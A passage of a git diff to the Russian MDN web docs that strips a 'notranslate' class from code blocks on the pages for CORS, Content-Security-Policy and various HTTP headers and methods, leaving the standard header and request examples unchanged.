class="plain">http://foo.example</code> хочет обратиться к содержимому <code class="plain">http://bar.other</code>. На домене foo.example может использоваться следующий Javascript код:</p> -<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/public-data/'; function callOtherDomain() { @@ -105,7 +105,7 @@ function callOtherDomain() { <p>Посмотрим, что браузер отправит в таком случае на сервер, а также проверим ответ сервера:</p> -<pre class="brush: shell;highlight:[10,16] notranslate">GET /resources/public-data/ HTTP/1.1 +<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -181,7 +181,7 @@ Content-Type: application/xml <p>Ниже приведён пример запроса, который будет предварительно просмотрен.</p> -<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/post-here/'; var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; @@ -209,7 +209,7 @@ function callOtherDomain(){ <p>Давайте посмотрим на полный обмен между клиентом и сервером. Первый обмен - это <em>предварительный</em> <em>запрос/ответ</em>:</p> -<pre class="brush: none notranslate">OPTIONS /resources/post-here/ HTTP/1.1 +<pre class="brush: none">OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -239,7 +239,7 @@ Content-Type: text/plain <p>Как только предварительный запрос завершён, отправляется настоящий запрос:</p> -<pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1 +<pre class="brush: none">POST /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -274,7 +274,7 @@ Content-Type: text/plain <p>Строки 1 - 12 выше представляют предварительный запрос с {{HTTPMethod("OPTIONS")}} методом. Браузер определяет, что ему нужно отправить это, основываясь на параметрах запроса, которые использовались во фрагменте кода JavaScript выше, чтобы сервер мог ответить, допустимо ли отправить запрос с фактическими параметрами запроса. OPTIONS - это метод HTTP/1.1, который используется для определения дополнительной информации от серверов, и является {{Glossary("safe")}} методом, что означает, что его нельзя использовать для изменения ресурса. Обратите внимание, что вместе с запросом OPTIONS отправляются два других заголовка запроса (строки 10 и 11 соответственно):</p> -<pre class="brush: none notranslate">Access-Control-Request-Method: POST +<pre class="brush: none">Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type </pre> @@ -282,7 +282,7 @@ Access-Control-Request-Headers: X-PINGOTHER, Content-Type <p>Строки 14 - 26 выше - это ответ, который сервер отправляет обратно, указывая, что метод запроса (<code>POST</code>) и заголовки запроса (<code>X-PINGOTHER</code>) являются приемлемыми. В частности, давайте посмотрим на строки 17-20:</p> -<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://foo.example +<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400</pre> @@ -329,7 +329,7 @@ Access-Control-Max-Age: 86400</pre> <p>В этом примере контент, изначально загруженный из <code class="plain">http://foo.example,</code> выполняет простой GET запрос к ресурсу <code class="plain">http://bar.other,</code> который устанавливает файлы cookie. Содержимое на foo.example может содержать такой JavaScript:</p> -<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/credentialed-content/'; function callOtherDomain(){ @@ -347,7 +347,7 @@ function callOtherDomain(){ <p>Вот пример обмена между клиентом и сервером:</p> -<pre class="brush: none notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1 +<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -398,14 +398,14 @@ Content-Type: text/plain <p>Возвращаемый ресурс может иметь один заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, синтаксис которого:</p> -<pre class="brush: none notranslate">Access-Control-Allow-Origin: <origin> | * +<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * </pre> <p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учётных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p> <p>Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:</p> -<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://mozilla.org</pre> +<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> <p>Если сервер возвращает название хоста, вместо "*", также может быть указан заголовок Vary со значением Origin, чтобы показать клиентам, что ответы с сервера будут отличаться в зависимости от значения заголовка запроса Origin.</p> @@ -413,7 +413,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p> -<pre class="brush: none notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header </pre> <p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p> @@ -422,7 +422,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p> -<pre class="brush: none notranslate">Access-Control-Max-Age: <delta-seconds> +<pre class="brush: none">Access-Control-Max-Age: <delta-seconds> </pre> <p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p> @@ -431,7 +431,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p> -<pre class="brush: none notranslate">Access-Control-Allow-Credentials: true +<pre class="brush: none">Access-Control-Allow-Credentials: true </pre> <p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p> @@ -440,7 +440,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p> -<pre class="brush: none notranslate">Access-Control-Allow-Methods: <method>[, <method>]* +<pre class="brush: none">Access-Control-Allow-Methods: <method>[, <method>]* </pre> <p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p> @@ -449,7 +449,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p> -<pre class="brush: none notranslate">Access-Control-Allow-Headers: <field-name>[, <field-name>]* +<pre class="brush: none">Access-Control-Allow-Headers: <field-name>[, <field-name>]* </pre> <h2 id="The_HTTP_request_headers">The HTTP request headers</h2> @@ -460,7 +460,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p> -<pre class="brush: none notranslate">Origin: <origin> +<pre class="brush: none">Origin: <origin> </pre> <p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p> @@ -473,7 +473,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p> -<pre class="brush: none notranslate">Access-Control-Request-Method: <method> +<pre class="brush: none">Access-Control-Request-Method: <method> </pre> <p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p> @@ -482,7 +482,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p> -<pre class="brush: none notranslate">Access-Control-Request-Headers: <field-name>[, <field-name>]* +<pre class="brush: none">Access-Control-Request-Headers: <field-name>[, <field-name>]* </pre> <p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p> diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html index 9141ba8341..174c098790 100644 --- a/files/ru/web/http/csp/index.html +++ b/files/ru/web/http/csp/index.html @@ -38,7 +38,7 @@ translation_of: Web/HTTP/CSP <p>Вы можете начать настройку {{HTTPHeader("Content-Security-Policy")}} с определения HTTP-заголовка и указания какую политику использовать:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: <em>policy</em></pre> +<pre class="syntaxbox">Content-Security-Policy: <em>policy</em></pre> <p>Где policy - это строка, содержащая директивы, описывающие вашу Content Security Policy.</p> @@ -54,19 +54,19 @@ translation_of: Web/HTTP/CSP <p>Вы хотите ограничить источники контента только исходным сервером (исключая поддомены)</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'</pre> <h3 id="Пример_2">Пример 2</h3> <p>Вы хотите разрешить получение контента с доверенного домена и всех его поддоменов (доверенный домен не обязательно должен совпадать с тем, на котором настраиваются CSP.)</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.trusted.com</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.trusted.com</pre> <h3 id="Пример_3">Пример 3</h3> <p>Вы хотите разрешить пользователям приложения вставлять в создаваемый ими контент картинки из любого источника, но при этом ограничить источники аудио- и видео-файлов списком доверенных провайдеров. Получение скриптов должно происходить только с конкретного сервера, содержащего доверенный код.</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre> <p>При такой настройке, весь контент доступен для получения только с исходного домена, со следующими исключениями:</p> @@ -80,7 +80,7 @@ translation_of: Web/HTTP/CSP <p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идёт по SSL и атакующий не сможет обрабатывать запросы:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> <p>При данной настройке сервер будет позволять загрузку страниц только по HTTPS и только из одного источника - onlinebanking.jumbobank.com.</p> @@ -88,7 +88,7 @@ translation_of: Web/HTTP/CSP <p>Для просмотра писем в почтовом клиенте вы хотите разрешить использование HTML внутри письма, а также позволить загрузку изображений из любых источников, но запретить использование любого JavaScript-кода и прочий потенциально опасный контент.</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre> <p>Заметьте, что в настройке политики отсутствует директива {{CSP("script-src")}}; при такой настройке CSP при загрузке скриптов будут использоваться настройки, определяемые директивой {{CSP("default-src")}}, следовательно все скрипты могут быть загружены только с исходного домена.</p> @@ -98,7 +98,7 @@ translation_of: Web/HTTP/CSP <p>Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre> +<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>policy</em> </pre> <p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчёты, но применены не будут.</p> @@ -106,7 +106,7 @@ translation_of: Web/HTTP/CSP <p>По умолчанию, отправка отчётов не производится. Для того чтобы включить отправку отчётов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчёты:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> <p>Кроме того, необходимо настроить свой сервер на получение этих отчётов; вы можете хранить и обрабатывать эти отчёты как считаете нужным.</p> @@ -143,12 +143,12 @@ translation_of: Web/HTTP/CSP <div>Возьмём страницу, расположенную по адресу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с <code>cdn.example.com</code>.</div> <div> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> </div> <div>HTML-код страницы <code>signup.html</code> выглядит следующим образом:</div> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <title>Sign Up</title> @@ -161,7 +161,7 @@ translation_of: Web/HTTP/CSP <div>Можете заметить ошибку? CSS разрешено загружать только с <code>cdn.example.com</code>, в то время как веб-сайт пытается загрузить его используя основной домен (<code>http://example.com</code>). Браузер поддерживающий CSP отправит отчёт о нарушении политики в POST-запросе к <code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code> в момент обращения к странице (<code>signup.html</code>):</div> -<pre class="notranslate">{ +<pre>{ "csp-report": { "document-uri": "http://example.com/signup.html", "referrer": "", diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html index 1d2d719976..c1d99c9899 100644 --- a/files/ru/web/http/headers/accept-language/index.html +++ b/files/ru/web/http/headers/accept-language/index.html @@ -33,7 +33,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Language <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept-Language: <language> +<pre class="syntaxbox">Accept-Language: <language> Accept-Language: <locale> Accept-Language: * @@ -53,7 +53,7 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Accept-Language: * +<pre>Accept-Language: * Accept-Language: de diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html index 17bc2ae125..a0bde94595 100644 --- a/files/ru/web/http/headers/accept-patch/index.html +++ b/files/ru/web/http/headers/accept-patch/index.html @@ -37,7 +37,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Patch <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example +<pre class="syntaxbox">Accept-Patch: application/example, text/example Accept-Patch: text/example;charset=utf-8 Accept-Patch: application/merge-patch+json </pre> @@ -48,7 +48,7 @@ Accept-Patch: application/merge-patch+json <h2 id="Примеры">Примеры</h2> -<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example +<pre class="syntaxbox">Accept-Patch: application/example, text/example Accept-Patch: text/example;charset=utf-8 diff --git a/files/ru/web/http/headers/accept-ranges/index.html b/files/ru/web/http/headers/accept-ranges/index.html index 1fa42401f6..8999e94252 100644 --- a/files/ru/web/http/headers/accept-ranges/index.html +++ b/files/ru/web/http/headers/accept-ranges/index.html @@ -29,7 +29,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Ranges <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept-Ranges: bytes +<pre class="syntaxbox">Accept-Ranges: bytes Accept-Ranges: none</pre> <h2 id="Указания">Указания</h2> @@ -45,7 +45,7 @@ Accept-Ranges: none</pre> <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Accept-Ranges: bytes +<pre>Accept-Ranges: bytes </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html index fe6c26b8a0..9be1f22eeb 100644 --- a/files/ru/web/http/headers/accept/index.html +++ b/files/ru/web/http/headers/accept/index.html @@ -31,7 +31,7 @@ original_slug: Web/HTTP/Заголовки/Accept <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept: <MIME_type>/<MIME_subtype> +<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> Accept: <MIME_type>/* Accept: */* @@ -53,7 +53,7 @@ Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre> <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Accept: text/html +<pre>Accept: text/html Accept: image/* diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html index a13dd40f06..2ca8fd6ae7 100644 --- a/files/ru/web/http/headers/access-control-allow-origin/index.html +++ b/files/ru/web/http/headers/access-control-allow-origin/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Origin <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: * +<pre class="syntaxbox">Access-Control-Allow-Origin: * Access-Control-Allow-Origin: <origin> Access-Control-Allow-Origin: null </pre> @@ -45,11 +45,11 @@ Access-Control-Allow-Origin: null <p>Ответ, который указывает браузеру разрешить доступ к ресурсу из любого источника:</p> -<pre class="notranslate">Access-Control-Allow-Origin: *</pre> +<pre>Access-Control-Allow-Origin: *</pre> <p>Ответ, который указывает браузеру разрешить доступ к ресурсу только из источника <code>https://developer.mozilla.org</code>:</p> -<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre> +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre> <p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешённым набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешённым списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p> @@ -57,7 +57,7 @@ Access-Control-Allow-Origin: null <p>Если сервер послал ответ со значением <code>Access-Control-Allow-Origin</code>, которое содержит явное указание источника (а не шаблонное значение "<code>*</code>"), тогда ответ также должен включать в себя заголовок {{HTTPHeader("Vary")}} со значением <code>Origin</code> — чтобы указать браузеру, что ответы с сервера могут отличаться в зависимости от заголовка запроса <code>Origin</code>.</p> -<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org Vary: Origin</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html index 04e65d2079..d8a93de1f6 100644 --- a/files/ru/web/http/headers/authorization/index.html +++ b/files/ru/web/http/headers/authorization/index.html @@ -28,7 +28,7 @@ original_slug: Web/HTTP/Заголовки/Authorization <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Authorization: <тип> <данные пользователя></pre> +<pre class="syntaxbox">Authorization: <тип> <данные пользователя></pre> <h2 id="Директивы">Директивы</h2> @@ -55,7 +55,7 @@ original_slug: Web/HTTP/Заголовки/Authorization <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l </pre> <p>Смотрите также <a href="/ru/docs/Web/HTTP/Authorization">HTTP авторизацию</a> для примеров конфигураций веб-серверов Apache или nginx с защитой вашего сайта паролем с Базовой HTTP авторизацией.</p> diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html index 5bf2f5ad82..935d9c1e98 100644 --- a/files/ru/web/http/headers/connection/index.html +++ b/files/ru/web/http/headers/connection/index.html @@ -34,7 +34,7 @@ original_slug: Web/HTTP/Заголовки/Connection <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Connection: keep-alive +<pre class="syntaxbox">Connection: keep-alive Connection: close </pre> diff --git a/files/ru/web/http/headers/content-length/index.html b/files/ru/web/http/headers/content-length/index.html index 0fd6d9ff77..919fc20b0c 100644 --- a/files/ru/web/http/headers/content-length/index.html +++ b/files/ru/web/http/headers/content-length/index.html @@ -30,7 +30,7 @@ original_slug: Web/HTTP/Заголовки/Content-Length <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Content-Length: <длина> +<pre class="syntaxbox">Content-Length: <длина> </pre> <h2 id="Директивы">Директивы</h2> diff --git a/files/ru/web/http/headers/content-type/index.html b/files/ru/web/http/headers/content-type/index.html index 7096fe0fa1..7c194e6224 100644 --- a/files/ru/web/http/headers/content-type/index.html +++ b/files/ru/web/http/headers/content-type/index.html @@ -31,7 +31,7 @@ original_slug: Web/HTTP/Заголовки/Content-Type <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Content-Type: text/html; charset=utf-8 +<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 Content-Type: multipart/form-data; boundary=something </pre> @@ -52,7 +52,7 @@ Content-Type: multipart/form-data; boundary=something <p>В {{HTTPMethod("POST")}} запросе, сгенерированном в результате отправки HTML формы, <code>Content-Type</code> запроса определяется в атрибуте <code>enctype</code> тега {{HTMLElement("form")}}.</p> -<pre class="brush: html notranslate"><form action="/" method="post" enctype="multipart/form-data"> +<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> <input type="text" name="description" value="some text"> <input type="file" name="myFile"> <button type="submit">Submit</button> @@ -61,7 +61,7 @@ Content-Type: multipart/form-data; boundary=something <p>Запрос в этом случае может выглядеть так (менее интересные заголовки опущены):</p> -<pre class="notranslate">POST /foo HTTP/1.1 +<pre>POST /foo HTTP/1.1 Content-Length: 68137 Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html index bfd7a52acc..a91717006a 100644 --- a/files/ru/web/http/headers/date/index.html +++ b/files/ru/web/http/headers/date/index.html @@ -28,7 +28,7 @@ original_slug: Web/HTTP/Заголовки/Date <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +<pre class="syntaxbox">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT </pre> <h2 id="Директивы">Директивы</h2> @@ -56,7 +56,7 @@ original_slug: Web/HTTP/Заголовки/Date <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Date: Wed, 21 Oct 2015 07:28:00 GMT +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html index 825f586182..9a9756aeb9 100644 --- a/files/ru/web/http/headers/expires/index.html +++ b/files/ru/web/http/headers/expires/index.html @@ -36,7 +36,7 @@ original_slug: Web/HTTP/Заголовки/Expires <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Expires: <http-date> +<pre class="syntaxbox">Expires: <http-date> </pre> <h2 id="Директивы">Директивы</h2> @@ -50,7 +50,7 @@ original_slug: Web/HTTP/Заголовки/Expires <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> +<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> <h2 id="Спецификация">Спецификация</h2> diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html index 20e2bee4e4..03fab68b3b 100644 --- a/files/ru/web/http/headers/set-cookie/index.html +++ b/files/ru/web/http/headers/set-cookie/index.html @@ -26,7 +26,7 @@ original_slug: Web/HTTP/Заголовки/Set-Cookie <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">Set-Cookie: <cookie-name>=<cookie-value> +<pre>Set-Cookie: <cookie-name>=<cookie-value> Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> @@ -120,26 +120,26 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <p>Сессионные cookies будут удалены после отключения клиента. В них не указываются директивы <code>Expires</code> или <code>Max-Age</code>. Учитывайте, что часто в браузере включено восстановление сессии.</p> -<pre class="notranslate">Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> +<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> <h3 id="Постоянный_cookie">Постоянный cookie</h3> <p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (<code>Expires</code>) или по истечении определённого промежутка времени (<code>Max-Age</code>).</p> -<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly </pre> <h3 id="Неверные_домены">Неверные домены</h3> <p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонён пользовательским</a>. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.</p> -<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> +<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> <h3 id="Cookie_prefixes">Cookie prefixes</h3> <p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p> -<pre class="notranslate">// Both accepted when from a secure origin (HTTPS) +<pre>// Both accepted when from a secure origin (HTTPS) Set-Cookie: __Secure-ID=123; Secure; Domain=example.com Set-Cookie: __Host-ID=123; Secure; Path=/ diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html index 4ade62c5dd..35835a88e8 100644 --- a/files/ru/web/http/headers/strict-transport-security/index.html +++ b/files/ru/web/http/headers/strict-transport-security/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTTP/Заголовки/Strict-Transport-Security <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=<expire-time> +<pre class="syntaxbox">Strict-Transport-Security: max-age=<expire-time> Strict-Transport-Security: max-age=<expire-time>; includeSubDomains Strict-Transport-Security: max-age=<expire-time>; preload </pre> @@ -74,7 +74,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <p>Все текущие и будущие субдомены будут HTTPS по max-age на 1 год. Это блокирует доступ к страницам или субдоменам, которые могут быть доступны только по HTTP.</p> -<pre class="notranslate">Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> +<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> <h2 id="Specifications">Specifications</h2> diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html index 65ab7c1889..c38ecb940d 100644 --- a/files/ru/web/http/methods/connect/index.html +++ b/files/ru/web/http/methods/connect/index.html @@ -42,14 +42,14 @@ translation_of: Web/HTTP/Methods/CONNECT <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">CONNECT www.example.com:443 HTTP/1.1 +<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 </pre> <h2 id="Пример">Пример</h2> <p>Некоторые прокси сервера могут запросить авторизацию для создания туннеля. Смотрите также {{HTTPHeader("Proxy-Authorization")}}.</p> -<pre class="line-numbers language-html notranslate">CONNECT server.example.com:80 HTTP/1.1 +<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1 Host: server.example.com:80 Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html index 06700f5653..9cd49d35d4 100644 --- a/files/ru/web/http/methods/patch/index.html +++ b/files/ru/web/http/methods/patch/index.html @@ -53,14 +53,14 @@ translation_of: 